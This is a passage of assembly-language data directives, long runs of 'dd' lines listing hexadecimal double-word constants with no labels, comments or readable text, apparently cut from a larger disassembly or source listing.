0FCAE1003h, 0C67E801Ch, 3A0BCAh, 0FF615D87h dd 9BE31189h, 590E0302h, 5564AABBh, 334F5660h, 9C08E60h dd 38E0B1h, 9DF9CF26h, 279648B5h, 0E4D76F03h, 0C815929Eh dd 14452694h, 0E0CEB635h, 0B26BCB03h, 19777D9h, 98F01711h dd 4B217109h, 4700BF16h, 3F5BD122h, 0B20F6B06h, 72C94567h dd 0C458F5EBh, 99321D96h, 1CFD0818h, 2B9450h, 11F7D4C4h dd 63A8A6A7h, 0DC0FA400h, 6FAE7365h, 7A6B0068h, 85DA2A5Ch dd 0EA00BF4Dh, 0C11E8FADh, 741DDFF9h, 21336046h, 0F0D8E16Dh dd 91094CFAh, 8069AA71h, 1B8EC509h, 90AE0009h, 2BDE63BEh dd 2200E56Ah, 2D5E3548h dd 329A10Bh, 91013F43h, 0B6AA2B44h, 0F57E3CA0h, 0B7217806h dd 292888B3h, 0D8E93000h, 2E415Eh, 23B7629Eh, 0FBFFB243h dd 61D23100h, 8077CF11h, 703E6030h, 0CA10FA2Bh, 3216048h dd 0B9ABEBA1h, 0ACE8A19Eh, 0B2AF2080h, 59F4A313h, 2A56F300h dd 0FE73C470h, 0E76B18CFh, 0A9584821h, 349BCD18h, 0C0D2D611h dd 0D10DA661h, 0AA0003DDh, 9AB571C7h, 5C1B3E96h, 0A035F85h dd 0FC29FE48h, 104C2AC5h, 0C0C085F5h, 3797EF42h, 0A324E900h dd 0A5B38094h, 0B6B4A0CCh, 502A6050h, 63FE5AF4h, 2BD12901h dd 1DB0E1ECh, 9C0185D3h, 0ABF18BDh, 0D00D58BCh, 0E0181A02h dd 7800EE06h, 0D7313E4Bh, 15E46932h, 0D8F02A4Ah, 21853065h dd 4A7AE104h, 8D08A60Ch, 0F53A0018h, 709F6B97h, 0A5FD1400h dd 205B2ADBh, 25730CF7h, 9F196F09h, 3A212B42h, 72C5F390h dd 0CB240A94h, 62F8A0Ch, 0C20F1018h, 215678CEh, 125E7927h dd 3B30A262h, 2D0C82A8h, 5330858Ah, 7F00C45h, 9AD71804h dd 0FE908321h, 9E322B24h, 9B8A48AEh, 3C59150Ch, 0DB49C330h dd 23500D57h, 0A000E2D4h, 439DD372h, 0FF67C5AEh, 0A9D11883h dd 40027F6Ah, 0CDEBFDE2h, 8CB8A007h, 3E0C1E45h, 0EF03DBF7h dd 397E80F5h, 948E3801h, 75DCF403h, 953000C7h, 0E0BAFEBDh dd 69004746h, 0E9904CEAh, 629977h, 7B8F275Ch, 74B7D157h dd 0F42A607h, 747ACE2h, 0AF397CE0h, 0C1C53ADEh, 6BA80980h dd 0C4F36586h, 4CFCA329h, 0D1C96304h, 2E144090h, 72EF00E8h dd 888EF44Bh, 15003EACh, 0B265B897h, 0F4475D99h, 0E57D3C8Bh dd 7C936881h, 0C82695A6h, 201FC23h, 5AE72F03h, 6BD81ADFh dd 83AB157Dh, 52881C5Ch, 0EE1CD0h, 5778EAC6h, 6D18993h dd 0F8765D1Fh, 6E11F416h, 533FF0C0h, 0E1E51D73h, 7D35805Ch dd 0FDADF957h, 0EDE94760h, 0D2848h, 0DEBF062Ah, 5C3F9211h dd 0F3F49600h, 0DA508394h, 52B629EDh, 6AC0805Ch, 660AC180h dd 9BCE2800h, 0CB15273Dh, 0EEBEB8C3h, 5D8300F4h, 0D7504D6Dh dd 80785E3Fh, 0ECE227E0h, 0FFAFC913h, 0DDDFB040h, 5AC50E06h dd 1E79005Dh, 6F6166E4h, 65196013h, 120BD447h, 8F2D7BE0h dd 0CA35071Bh, 23F452BAh, 0B11DF0DEh, 4340F19Eh, 0F8411490h dd 0CBCD00AAh, 8F1E2EE6h, 8600D80Dh, 4C11FA7Dh, 0F819A9F9h dd 0A3F101ACh, 0BB7995E7h, 0EDB3E0E5h, 1C5553Ch, 1AEBF3EEh dd 0B9D03CA7h, 841D50C2h, 0CDE1004Eh, 66EC9D8h, 1300CFEDh dd 0A3F54903h, 40AF2h, 55123CC1h, 1E58B273h, 9AC25B07h dd 0D8805C69h, 0C0B8818Eh, 5AE50740h, 730C801Ch, 3055EC33h dd 353900C5h, 3456C43Ah, 0B5004150h, 948C520Fh, 7419332Fh dd 71C98EDh, 0F226F8D5h, 6CC2C15Ch, 0B984F8A6h, 9FCA7000h dd 184977A3h, 78A2601Bh, 0A41E7AC9h, 0C75E4C00h, 0EA888F4h dd 0CE220CB5h, 32D0DE50h, 6B0C5203h, 0CFE3C8Eh, 68CAA190h dd 0C03DD440h, 45C78A84h, 998380CEh, 0E09DEC7Fh, 52A4A7BDh dd 0B4E8ACF2h, 0DADB2200h, 45FF6C34h, 7941019Dh, 1160280Ch dd 9F48F0C1h, 0F662290Fh, 7A4640F2h, 38E4FB35h, 7D291476h dd 3A005444h, 0B2568F7Ah, 25BD23E3h, 327EC1FDh, 388B8509h dd 4F9934h, 7B334CAEh, 9C62136Dh, 0F4C27100h, 0AAA5F15Fh dd 9E7FE3h, 151C2B51h, 0DD1A3D8Bh, 0B20FC4F2h, 203B0E6Dh dd 2FC2213Ah, 32EC1FCBh, 6737C1C3h, 40F3E442h, 70A464C8h dd 0F8C2E700h, 22A101E9h, 0D7B71487h, 70A084EBh, 670A5F3Ah dd 0A0B50FD9h, 89328600h, 0FE3C601h, 29BA6EE6h, 0DEA7118Eh dd 9ECCE0F2h, 0EE090B16h, 718B72h, 0C7FF8938h, 8788A2B2h dd 0E71E5D04h, 0AE80D267h, 196C2DDh, 49959C06h, 4854B80Dh dd 241DF9D0h, 4FA5A51h, 10CC0F14h, 0FF0648Ah, 597823D6h dd 338EBC01h, 0CEFC0B10h, 0F0B4A0D0h, 0BE7CB1h, 9577DF37h dd 59EBE50Fh, 7C51FD12h, 34800C2Bh, 2376FC51h, 248A1409h dd 2C04103Eh, 818601DEh, 0E24BDBA4h, 9D9CD4D1h, 7A50FCA5h dd 0BE254895h, 23F25D05h, 28F420BEh, 7E0AAB4Bh, 800F78B8h dd 24132570h, 7640B079h, 0F8C36A2Ah, 1E0FEE00h, 0CA679306h dd 53C4AC43h, 6401903Bh, 49DBB3DEh, 3743544h, 0EAC7DC87h dd 11F61008h, 0F91E6DC3h, 106E14D3h, 73D77E0Ah, 0EC1130C4h dd 0A2078CBBh, 0B4B6ABB9h, 0E7541C70h, 4C8100EDh, 3E3BE7Ah dd 0B11FCD5Eh, 26C0A446h, 54D2E6Eh, 0C4640FBFh, 4F20103Ah dd 0D0E78F9Ah, 0AF20E200h, 5D0881B8h, 0FA7A0022h, 7686CBB7h dd 0D000825Ah, 0BFB8A411h, 1E6FD1FFh, 4E8D1AA7h, 920C89ABh dd 43009B40h, 2146784Ch, 522660h, 0BD9AE922h, 1F2AE2CBh dd 18F8A53Ch, 72B8CDCCh, 8A0738BEh, 9EC80074h, 0BF04671Bh dd 4C183F08h, 8248A31Fh, 1913E056h, 38C7B4D9h, 398EC4E7h dd 5C6F6E00h, 0E92EA1DCh, 0A4A0000Bh, 0C45181C8h, 0F307BEDFh dd 92A38065h, 0B3C700C8h, 0AA0C7536h, 1FD0CF07h, 0C543D1F5h dd 702009C0h, 0E40058FFh, 5CECCE30h, 6618BD60h, 0EAA6D95Fh dd 117E0161h, 0D27C4B29h, 8AB1DF49h, 75608FA1h, 0B4B3A789h dd 0FF4B1271h, 4601DECh, 5788917Eh, 4050C09Ah, 3A7C8FF0h dd 65F8A700h, 93F234ABh, 98500FE1h, 802FA5DFh, 0FE1DEF20h dd 691D162Fh, 0F0CC4C6h, 1EA8208Dh, 80D7E887h, 0A2047A53h dd 11D33DCh, 0FA87660Dh, 0A7A1CE24h, 11806943h, 5194B0BCh dd 1C7958ECh, 8C6E476h, 20AFA5h, 9F791A1Dh, 1BEA8773h dd 0ADF1DB1Fh, 0A000913h, 20A79654h, 7B2C0725h, 0F09C7D4Eh dd 55A23EDAh, 31788003h, 180EC99Dh, 2006F008h, 0B30015BAh dd 0D3DCDDAAh, 72934EA5h, 0EA031E4Dh, 25E980F2h, 41C8C488h dd 786754A8h, 60DADF08h, 21BB662Ah, 79252600h, 3AB19A98h dd 0BCDD0197h, 4C193F1Dh, 0C660E80Ch, 5F6C9200h, 29766602h dd 0ECE4D1h, 91FBB24h, 0C14AE2FAh, 3C3DFC00h, 7120D47Eh dd 0D24F00CDh, 66B5B6BCh, 0E13C9717h, 80FB82E9h, 60397387h dd 7CB74ABh, 19D2478h, 0EF7110A2h, 7F04572Eh, 2A70820Dh dd 66197080h, 3A4016CAh, 92B6006Eh, 0A0680141h, 584F3B24h dd 0C8DC003Ch, 349BAAEDh, 0C17D3CC4h, 6D3D9D00h, 100E91DEh dd 0D1D41F00h, 0C2D3E718h, 89DF0FCAh, 9760F7A4h, 0AB8AA5B3h dd 3B4A7200h, 0E646AE29h, 365C3948h, 0DD7D1580h, 180A3D53h dd 72029700h, 5D28C4B7h, 0CB8700E6h, 3CD8E854h, 2DE40726h dd 204B1C30h, 3803E62h, 96A62F82h, 9888FD78h, 0A3EA49B7h dd 269E6E03h, 7D3046h, 485AE750h, 9DFC4389h, 3AC0EB00h dd 0FF28C580h, 1150051h, 115EA4EAh, 28C0B441h, 0C0DAA124h dd 2891D882h, 0A80226B8h, 8BD8F245h, 0B69BE0B4h, 31FE26A5h dd 28C603D7h, 30606AD2h, 0C2CA2478h, 0B540032Dh, 0F7BB4D91h dd 0DA9C0800h, 0F107B775h, 0C9500084h, 69A0B826h, 0BA002738h dd 0B48E8A9Eh, 927105h, 0A79B71Bh, 9CE05616h, 492C0101h dd 819A9019h, 4B20F0F5h, 9126037Eh, 5D76D0F7h, 0A65040E8h dd 0D17B8700h, 34C973C6h, 430A0080h, 0EA313083h, 32016360h dd 0A114DBBDh, 77E881A5h, 3A3700F1h, 443B9B8h, 2A008FBAh dd 0F58BA3D4h, 1C1B8556h, 401EFE42h, 3537DA90h, 0ED03D331h dd 0C8DE93A7h, 18D0E07Fh, 0E6EA0748h, 0C278157Dh, 4543305Eh dd 0EFF727C0h, 0BDD2993Dh, 2BF60042h, 0B01B9B56h, 10760077h dd 627D7446h, 0CA0264A8h, 16AAC60Ah, 0B215E023h, 0DAB500F2h dd 682BC9A0h, 6301892Ch dd 92121B0Eh, 0FEF07415h, 2F3F0F2h, 8CAC86Ah, 9F404999h dd 0BC7C7138h, 3ADC9700h, 21AD3E63h, 1BD10040h, 0C2840C36h dd 0FF009E68h, 0EC35062Eh, 7A38A6Dh, 0C5C00A01h, 0E6B9E095h dd 77073313h, 0EF1B0DD0h, 0BD80A480h, 147F000Bh, 3D16F430h dd 0E01F3A8Ch, 0F5C5C0E7h, 4080372Eh, 0CB0B5C2h, 1183B878h dd 8A07BBA0h, 0D07C50F9h, 0E6EE18E0h, 0E49800C2h, 872CF599h dd 0CC12E7D6h, 9F1948BBh, 14440178h, 119EFF83h, 51D39328h dd 9D518812h, 199B9323h, 8DF50EEh, 2F0A200Bh, 0C8012930h dd 5D0721h, 5A462E0Dh, 0C83839F7h, 0D465F507h, 40E72276h dd 56DD0910h, 85ED002Bh, 7B5510A7h, 0E17F8B75h, 0EF00CC71h dd 0E94D89EBh, 0F86E79h, 0DB0517C4h, 0B40A6F55h, 0C8418200h dd 0E3507810h, 113001Dh, 0E6DF235Bh, 3850BB96h, 900F2B0h dd 4D5D0626h, 7845BF4h, 0BEBF8A4Fh, 9AC7804Eh, 0FE002BC2h dd 0D7C9E26Fh, 4B3A99h, 0FF92E6B8h, 0D91F3C6Ch, 9108CD00h dd 0DC84D69h, 0A2BF075Dh, 8083F231h, 0CD823697h, 0EFF0605h dd 0FDC09586h, 817AEFh, 8A66597Eh, 5689285Eh, 0BE5AA000h dd 975D2CAFh, 7EBAE647h, 0CA90000Bh, 0D429746Dh, 0AE006C2Bh dd 39487CB7h, 75F3368Eh, 7385010Bh, 0E6DBEC63h, 597D8BBh dd 0AAB7691Ch, 2358C8C0h, 0C6EED8h, 0FAB8A35Ah, 1A3C7E47h dd 0E5CE2F03h, 0A8BE1E78h, 52E1CBh, 916ED4A1h, 72F2EBBAh dd 71032A00h, 154DCF14h, 0CDDE0004h, 0B39E11FDh, 68071AF4h dd 7657A73Ah, 0CA05BFC0h, 52A00335h, 65448726h, 0DD909AFBh dd 0E4184F6Ah, 5810FF91h, 0F495002Ah, 0F1E5C5BCh, 750FA594h dd 686997h, 71367628h, 54F905F8h, 434F2C9h, 8073399Dh dd 0EFAA925Dh, 436F8800h, 90BCEA94h, 4F810053h, 5B562C09h dd 0CE0C0879h, 70C08F25h, 8C1903B5h, 0FC9CD52Bh, 0ADC700C7h dd 5A000E3Ch, 0E1941F3Dh, 0E51BD38h, 92168A53h, 72CE5E80h dd 98005A65h, 35302227h, 0C667D89h, 7799C505h, 9F00EAB0h dd 9B3D62E1h, 1E335AAh, 8425D388h, 301F598Eh, 791DCC07h dd 3E406692h, 9E538C57h, 9A680984h, 0CF8E987Dh, 6D3ABB60h dd 0C8093B1Ah, 0ED7FB5h, 4263F0B0h, 0CD643ED3h, 96BD5381h dd 304C22E3h, 0C00BA6Eh, 0B841E625h, 0E9CCA87h, 0EF284608h dd 1E007C1Dh, 573C523h, 0A0FEDCE3h, 0FA003090h, 2509A378h dd 0D2188Bh, 271B51A9h, 6CB964E1h, 0A001931Dh, 8D6DDD40h dd 2F5F55h, 52402E23h, 66495778h, 2D1C7E00h, 0E7FCD4C7h dd 0F17B0719h, 0E01355h, 4DB9ACE8h, 0A2E38E07h, 9FF03A87h dd 11A2B58h, 2E425157h, 0E834327Dh, 6D004D46h, 0CFB74C47h dd 129F7Ah, 7F1CAEA7h, 0B39B79B9h, 9076675h, 0A039CBB2h dd 4E46FD40h, 3AB41E87h, 0A2B3C275h, 0DC803EF8h, 5B11D55h dd 0F28ED00h, 0A4864029h, 1CAAF809h, 40B50E53h, 8045A9A1h dd 0E71DCBEFh, 0BE00A8C6h, 0F61C4F8Ch, 2D61EE8h, 0ACD040BAh dd 0B998B1CCh, 8038D701h, 395EF490h, 807F9AC1h, 8E9E762Bh dd 18CD4F5h, 7E343Ch, 60E5BC8h, 1B1325h, 3DD102B5h, 2CBAFDE4h dd 64607C0Eh, 4223A0FEh, 31956Fh, 0F596286Ah, 29A641F0h dd 0F459EA00h, 859E676Dh, 8A36008Ch, 2CEB3898h, 1500B5A2h dd 0FA3C1AB2h, 528361h, 0F418FC91h, 7D0987DAh, 710EF970h dd 0F493AC74h, 1423FB1h, 0FC949F9Eh, 0F5C0D1C1h, 8867000Ah dd 2E2AB320h, 7C00B823h, 2FAA249Bh, 0B8049F15h, 6F790337h dd 39E1898Ch, 0B9918888h, 5D357000h, 8B05FFCFh, 78C1ECF2h dd 1B660F6Fh, 0C68080CDh, 0A139570Ch, 0D5AC3100h, 75EBC0BAh dd 7745003Ah, 50912202h, 111FB3B8h, 6280FDA7h, 5AF0683Bh dd 9E210092h, 19793FEEh, 0AF03CF0Fh, 0D50545BBh, 75E78058h dd 0A8BE0063h, 0DDE4CCE2h, 2C244B29h, 0E800CE55h, 0FCBF50F2h dd 0FB9D0046h, 10F41F5Bh, 0BB3BDFD9h, 5170811Dh, 0D5DB53C4h dd 0F21E5F0h, 693B03A7h, 0B9C1288Eh, 0DCB4E97Eh, 9900560Fh dd 0CB3E243Dh, 855B11h, 2FB1D3Ch, 6B32C343h, 0C742DA00h dd 0BEAC5CD9h, 0A7849h, 844E79D4h, 0A43F1259h, 57F57800h dd 48881FF3h, 617039C7h, 0B6491Fh, 0E3B51CCh, 270064F9h dd 21803C07h, 38659DE0h, 9E009634h, 405CC76h, 0B90E1BA8h dd 6007D86Eh, 8D1447Fh, 673E05C3h, 823B7D81h, 0D604F00h dd 0AD017064h, 97921438h, 6C20AE59h, 0B67457h, 1F857DFDh dd 993112F5h, 0BF64403Fh, 146880E2h, 88E84DFAh, 56A30228h dd 0E4D17AB6h, 805CAA8Fh, 54C2DCE5h, 1601AF0Ch, 0CA21FDACh dd 77FCE665h, 6C3E0099h, 0CDE05839h, 707A47B1h, 5820064Ch dd 22F3001Ch, 54429DB4h, 1A2F0071h, 260F1170h, 9500B391h dd 0F1451779h, 12CF5B44h, 1C53E759h, 3C1666h, 0D3D2363Dh dd 133BF484h, 170E8088h, 290D466Ch, 0EC4000AEh, 307CA5EDh dd 69033705h, 36AAF2E3h, 7318B8BDh, 6B76002Ah, 4A1D145h dd 0E0003106h, 0EAFE217Dh, 5FEFBDh, 0C84937BCh, 0F9050DC0h dd 92036274h, 8D1A0A06h, 0A0CE9022h, 0EBB20017h, 0FDB64104h dd 7CFC07F9h, 0B074060Fh, 35B8434Bh, 0D814C89Bh, 44150075h dd 1143DE6Bh, 60FBDB2h, 4023CF6Ah, 0F6D892ADh, 293006Eh dd 146F4421h, 95030C5Fh, 1CF48948h, 81ECC08Dh, 0D8170052h dd 0D3DCF17Eh, 2000ABEDh, 0A61CB13h, 6AD0A3h, 5D55A922h dd 0ECD95E5Ch, 922F8D00h, 125A6B90h, 0C0CA00E3h, 0C45820EFh dd 467B98C9h, 20937C30h, 0F0EAF76h, 0A0D8F284h, 9C457483h dd 6B8CDA80h, 0F30DD100h, 805195D4h, 3606003Bh, 0BAAD19C9h dd 0C1008BA5h, 0D1FB67EFh, 48101CE9h, 0F901ABB3h, 1DF1519Ah dd 805FC48Ah, 5BD2151Ch, 0E58CD680h, 0BAE67Dh, 19B0928Fh dd 15F0FBD5h, 72135701h, 0ED10597Ah, 0C3716660h, 0A8566778h dd 94AC5390h, 76143100h, 5990D82Bh, 0F2E084h, 0FA519D2Ch dd 2BBC018h, 0E2786000h, 0D5BACFDCh, 20626350h, 2FF8E122h dd 0BD0073B1h, 841F0DE8h, 0E52B7Ah, 0CB02E062h, 6E3D5FA1h dd 139D4358h, 7E004508h, 46540395h, 1DC400A5h, 7057EDB7h dd 0FCF6A21Ah, 77802700h, 0BE0D0320h, 75DC00F7h, 0F906931Ch dd 0AF05BDC7h, 3A9D19C4h, 95265EC0h, 0EB8F00E4h, 4446578Dh dd 0B000642Bh, 54BD07BEh, 663910h, 9511E436h, 0C4D5C76h dd 0DA176200h, 794ADDA9h, 6A6A6701h, 0D21F4065h, 0FF00E65Eh dd 146DEF50h, 73092F0h, 0C9AB79B0h, 0EA807FCFh, 0FB568E22h dd 0AEEE1500h, 38E7D5BCh, 6AC83907h, 2A1627FAh, 191E85D6h dd 5BC18440h, 904AD3h, 0A34277CAh, 0FF387247h, 3F46AB00h dd 172CB8A5h, 0C706C126h, 0FC5CD749h, 6E6F6F9Ch, 532FE0B8h dd 2517F67h, 98C6F6D5h, 3240B8ECh, 0BD00A27Dh, 0F764A6E0h dd 2750A0h, 0B9F641C9h, 0D409D81Eh, 1040070Eh, 1755E05Eh dd 7F9B0864h, 957603h, 6DA0C2Eh, 86C0EACDh, 92A83E00h dd 4CE914D9h, 0ECE634h, 0C9B6F83h, 826D22AAh, 0E6949A0Fh dd 0C657E0D3h, 0EA055FF3h, 1DAA039Ch, 1296E53Dh, 74ACBBD8h dd 9D00447Dh, 0E6500E2Dh, 0AE79BCh, 7CA61E9Eh, 7FAC43F8h dd 0E9498900h, 0E66BC666h, 2EBE2C7h, 1142F561h, 8CE00701h dd 0C900F01Dh, 0B3C11E68h, 9E258h, 36D34B94h, 5E04E178h dd 7C823Bh, 121F324Ah, 0F2D9AFDh, 0F3FA7A01h, 401C9380h dd 0A330CD38h, 0F80A503Ch, 0CF98009Bh, 3E8B82E8h, 0D3012415h dd 7923B738h dd 66D49EE0h, 71C50065h, 4A9028B3h, 1190F847h, 8505FB79h dd 6A8FCE7h, 40288AC2h, 0CF70F4h, 721E377Bh, 0E105B408h dd 87C1E207h, 80AE2DF8h, 3545BD5Dh, 42E1C0Fh, 23A0C06Fh dd 7693F998h, 3AB5250Eh, 2F1547B2h, 0D15E6EE0h, 0B0650087h dd 33F062DBh, 57037686h, 0B9DE6C0Eh, 883CA363h, 1ED23BDh dd 907902F1h, 0F4F6F99Fh, 4004F0Ah, 9C7BEACAh, 3863673h dd 435CA6E3h, 90FFE160h, 0C515AAE6h, 63146AECh, 900ED3h dd 5E733D74h, 0DC6DA9h, 4178495Ch, 959A07EDh, 5E7D1830h dd 3FC4F672h, 1F805EE6h, 0F22BEBBBh, 6201E43Bh, 67FD9F6Ch dd 0F0E76848h, 732C644h, 0E4D7D3CEh, 9872B1DBh, 0A026F40Ch dd 9F8EC301h, 7986017Bh, 1C72630h, 2F9348CEh, 0D7BCA5E3h dd 87BE8CD0h, 41802B1Fh, 20EA4B0Fh, 479D5935h, 0B4CC0002h dd 4DB06A3Fh, 0ED0066D7h, 8A765F84h, 0ABE488h, 970211A8h dd 4FEC822Ch, 0CE987E1Fh, 43E0E800h, 2EDDCD4Ch, 1DC38325h dd 0CCF30E7Bh, 5B010D40h, 0DB03DC57h, 7CD2ECB3h, 0FB103C66h dd 3F3DDE89h, 16EF2E00h, 10909D76h, 92C91903h, 8867475Ah dd 44BF3Ah, 58D1CDD5h, 4DBD1836h, 830E100h, 5B61671Eh dd 0BEA0031Ah, 0D407E75h, 2EF15ED8h, 0BE15533Eh, 0B3461DBBh dd 0CB339E47h, 8E553BE0h, 0C9AF004Eh, 0E69D3DC7h, 0FF65096h dd 0F370EB00h, 0D1B1F757h, 14AC00D0h, 2C6D1B27h, 0BBFE3C02h dd 0FE103B07h, 63400C33h, 0EEBC280h, 360A2FB1h, 84BC1220h dd 0E70BD7B7h, 86DDD1h, 0C04D4293h, 60FAFCCCh, 0B5DF1062h dd 12380C39h, 7CE98228h, 801C8568h, 0CB10CAE1h, 6CCB8A5h dd 9FA8ACD4h, 0C300827Ah, 0F8919C33h, 0FF9E54h, 793BA215h dd 0E0B1555Dh, 0F9AF6E00h, 23FC8B08h, 0F6010F5Bh, 698004F5h dd 7AC46493h, 0C1761F1Dh, 0D7D946C0h, 74EDA919h, 0E4BD009Fh dd 9408CF57h, 0B10E788Bh, 2098061Bh, 0E3F9EB64h, 3D770734h dd 30702D7Eh, 0D8939C2Ah, 874EFF03h, 0B9B384BDh, 4FF8E86Ah dd 85130031h, 0F6D26E15h, 0B7032CF3h, 7AFD63Ch, 169CC062h dd 0BFA60078h, 72DA8DB2h, 0FCA01AEEh, 0CD007B53h, 0D075610Ch dd 8AFE7Ch, 0D6E32215h, 8BBD8341h, 0A000F0F0h, 0F45175FFh dd 0F8FBA5h, 0C05F9CDCh, 0C1E9F697h, 0B742A0A0h, 0AA604878h dd 12072511h, 0EECA00D7h, 0A4BD43E9h, 1C008032h, 8ABFD953h dd 1155BDEh, 1F9D9E93h, 0E489050Ch, 4F00E663h, 1696FF87h dd 1E7D380h, 940485F5h, 0E8755E6Fh, 0D9006BB4h, 1C17A627h dd 0DC83D7h, 2C62899Bh, 0D0A8341Dh, 0FCD6C616h, 474FC503h dd 0BEE7C80Ch, 6D730077h, 5D9FEA04h, 8800B961h, 384232A8h dd 2475B7E5h, 476F57h, 674AFC46h, 223069CCh, 659A10A4h dd 0A6340093h, 9FFEF5Ah, 7302F3D5h, 0E468B26Fh, 0B53AE023h dd 3BD81894h, 55F8F00Ah, 51E61500h, 53BC90EAh, 7FD200B0h dd 304DD5D1h, 8C000FB8h, 228AF51Ah, 1C15973Dh, 835F1Bh dd 25FA7E7Bh, 0F1030BDAh, 6B510763h, 0E24CA882h, 0E801013Ah dd 0C4BAEC65h, 0E7388098h, 615C6048h, 0E06C7851h, 81F204h dd 56DD685Eh, 300B17B4h, 374D5F02h, 0A01AC8D3h, 0E429E8D4h dd 16E0081h, 60916809h, 0BF06EE1Bh, 0B6D2A047h, 7FE70010h dd 0A4CDA96Fh, 0A7005342h, 0D6BDF099h, 3C05747Dh, 6500DF69h dd 7F18838Bh, 5701044Ch, 53E2BC02h, 0ECD0881Eh, 16BF008Ah dd 13A76237h, 0D40E1781h, 0E04C2878h, 9939B421h, 0AAA600F4h dd 0A3F68258h, 0D000063Ah, 0D649BCFFh, 0BB7EAh, 4CFB1EB6h dd 90CD51DEh, 39910A20h, 1413BA97h, 39900030h, 0B66DF411h dd 4E33CA00h, 2B6A9572h, 0CDAD0014h, 37B02A76h, 4D04432Fh dd 0F809F165h, 159EC480h, 0A210034Eh, 0F67A5B1h, 4A2666D8h dd 910B4200h, 772DB9CFh, 7EED382Ah, 0AD784F00h, 6E9EB97h dd 0A3E4E200h, 774C1770h, 0A78A009Ah, 0FD60D958h, 8171E5F1h dd 0E831F000h, 0D58F51BCh, 0B8A00336h, 0BE330C1Ch, 82373BA0h dd 70FDC000h, 0C3B604E2h, 0EA1B0043h, 67743053h, 4B000845h dd 14C46950h, 3ED91FDh, 5B154F33h, 1CB0274Ch, 5D00BA59h dd 385E4380h, 857C19h, 0DE0974BFh, 0EFABA6D2h, 8EE1C10Eh dd 64820FAh, 395552B3h, 7E80C6C5h, 4EF8B818h, 0B7ADF37h dd 0A57BA101h, 9B62F276h, 2BC1F0h, 0BF15280Ah, 7AD13783h dd 40A2D000h, 5841012Ah, 0E42B00AAh, 24D0FD4h, 391F6C1Eh dd 30009552h, 48B5B7ECh, 0EF352CDFh, 322403B3h, 86A0BD97h dd 1A006A2Ah, 0C009D1FAh, 5B542Ch, 0BC66C80Eh, 0DC2E8C36h dd 0E705CF00h, 9413114Ah, 0A2A30720h, 20AE80BBh, 0E1068777h dd 6E74D975h, 108E7224h, 0C6481C00h, 50DDB5EAh, 7C9D471h dd 0E8CAE33Eh, 365EB06Eh, 6D034CF6h, 0A918A4C3h, 7214986Fh dd 0B0D8C078h, 0A3E9DD6Eh, 1CFB7F00h, 1A282F87h, 0FA8F03F4h dd 77FF373Ch, 0DC04FCF9h, 14001E6Ch, 0C523CD99h, 37AB48Eh dd 3D4215E6h, 0A9992468h, 49D06094h, 176B9900h, 4CBD0A22h dd 0B9B866h, 1A6D441Eh, 0E8CCDC97h, 6F2B100Fh, 0E2B920ADh dd 2418F4D7h, 3927h, 46AA5BDDh, 2100DE8Bh, 0A33ECA86h dd 0FAD30E5Dh, 2F3B00D2h, 26C82E44h, 40007278h, 0CBCEB654h dd 0FCD3937h, 83CA10CCh, 0A36D920h, 2A017805h, 935FC85Dh dd 0F3E4D4BCh, 184F0F63h, 90A055E0h, 13BF0DAEh, 4B1EFA00h dd 0DF25430Eh, 63450EBEh, 69CEEF1Ch, 9F634E0h, 13E6AF2h dd 0C7FD81F8h, 5B4FB866h, 0D8E458h, 0EA81F0F7h, 2B24204Ch dd 7835A100h, 141513A8h, 10C743Ch, 6C387940h, 0D50E18CAh dd 3BC0228Bh, 13E07A9h, 0DFF0A390h, 3DA0DDE6h, 9A00B833h dd 565874Ah, 370090A6h, 0F5C15321h, 664DD4h, 0D643236h dd 67B50529h, 0F100E5E0h, 2263EB0Eh, 152897F7h, 0DC4CC439h dd 0DFFA9580h, 7300F62Eh, 0DBBC0688h, 1ED8F204h, 78427E54h dd 0DDEC1700h, 164FB44Dh, 0E9E6F500h, 30CD4921h, 0E582003Eh dd 64570CD8h, 7500C658h, 729D67EAh, 4577D6h, 0CF508039h dd 5CA91C89h, 0DBB66A1Fh, 71F33C0h, 1EB02417h, 11A7802h dd 2C85DD5Eh, 569DF883h, 9CCBF200h, 2DA3B269h, 845503B8h dd 7A1B0C37h, 34356A1Fh, 9078A600h, 0E53940h, 9969E261h dd 7B763059h, 0F6DFF309h, 6B040001h, 79577B3h, 9D732F3Ah dd 8808403Fh, 1A300DFEh, 499F893Bh, 7DCD098Fh, 0D9096A35h dd 0DA37A0Eh, 16C30340h, 0D2D41003h, 0E7090A44h, 0C6390E80h dd 77B1006Dh, 441978Fh, 0A10096C5h, 0DA79BE7Eh, 695C59h dd 0E8DB2FB9h, 27917AD8h, 9D0034EEh, 0C6560E4Ah, 12780312h dd 4099AD95h, 0DB311BD4h, 3F01C75Dh, 0F8CC8CC4h, 104470A7h dd 35BB5C20h, 0FD732442h, 0C0101C2Ah, 23305A67h, 0F02C0674h dd 0D0002504h, 77A4FCB0h, 38D5001Fh, 4A329B17h, 1B01CC97h dd 4D593A8Dh, 0ECD4830Dh, 7275180Eh, 0C92A60EFh, 8E76DA12h dd 4C45EC00h, 0C7C8748h, 4DABCC60h, 4A1F0290h, 0B8D0DBh dd 7A6C53D1h, 0A679EDh, 0F3D394C5h, 0AB02D91h, 0C9EA6900h dd 1E207C16h, 8B8C4804h, 4943C618h, 0F71809AEh, 9811730Eh dd 0D57E0908h, 4A009E2Dh, 6C89D3F3h, 0FA48800h, 0A8EAF1FBh dd 29F900D5h, 95739385h, 2C0034DDh, 30E4772h, 0A0109Fh dd 8E279224h, 68778AF3h, 30F43C00h, 0E1A91BB5h, 0A77A0066h dd 0AA25C8D4h, 160209B9h, 45297E2h, 8CB4A023h, 1D0D22D9h dd 398C3h, 1B2A9568h dd 460C0718h, 28AC14F7h, 4F7E5C8Dh, 4B00FD3Dh, 5641D4FEh dd 0DC000FF1h, 21C462CAh, 1F1A874Dh, 18D2E0h, 480D55F5h dd 6601D851h, 0CB9BFFF3h, 35D1F45Ah, 0F67A2187h, 12026050h dd 3F009E1Fh, 0F7D3C207h, 3C445Dh, 0C069D9F3h, 2EE9D645h dd 0BB386460h, 36E88AEh, 4E85C1A4h, 5100F206h, 56E31A2Dh dd 0E901B76Ah, 7D51092h, 2FC347E9h, 0BFC82BE1h, 9C57D130h dd 0CD437021h, 0D0C96AAAh, 1E9A5046h, 834B1DBCh, 2C6745EFh dd 4F0C80DEh, 98233963h, 0E5F50C60h, 0FA797BC1h, 4E8AC71Fh dd 50EEB383h, 60097B8Fh, 0B85A6814h, 1D010D8Ah, 0DF8D1748h dd 9448CD1Fh, 6E5D01E1h, 8A404457h, 0DAAC402Ch, 0EA1DF21Bh dd 0CE00429Fh, 0FE6527A3h, 1ED9074Eh, 0A0B33049h, 0FDCB5E0Eh dd 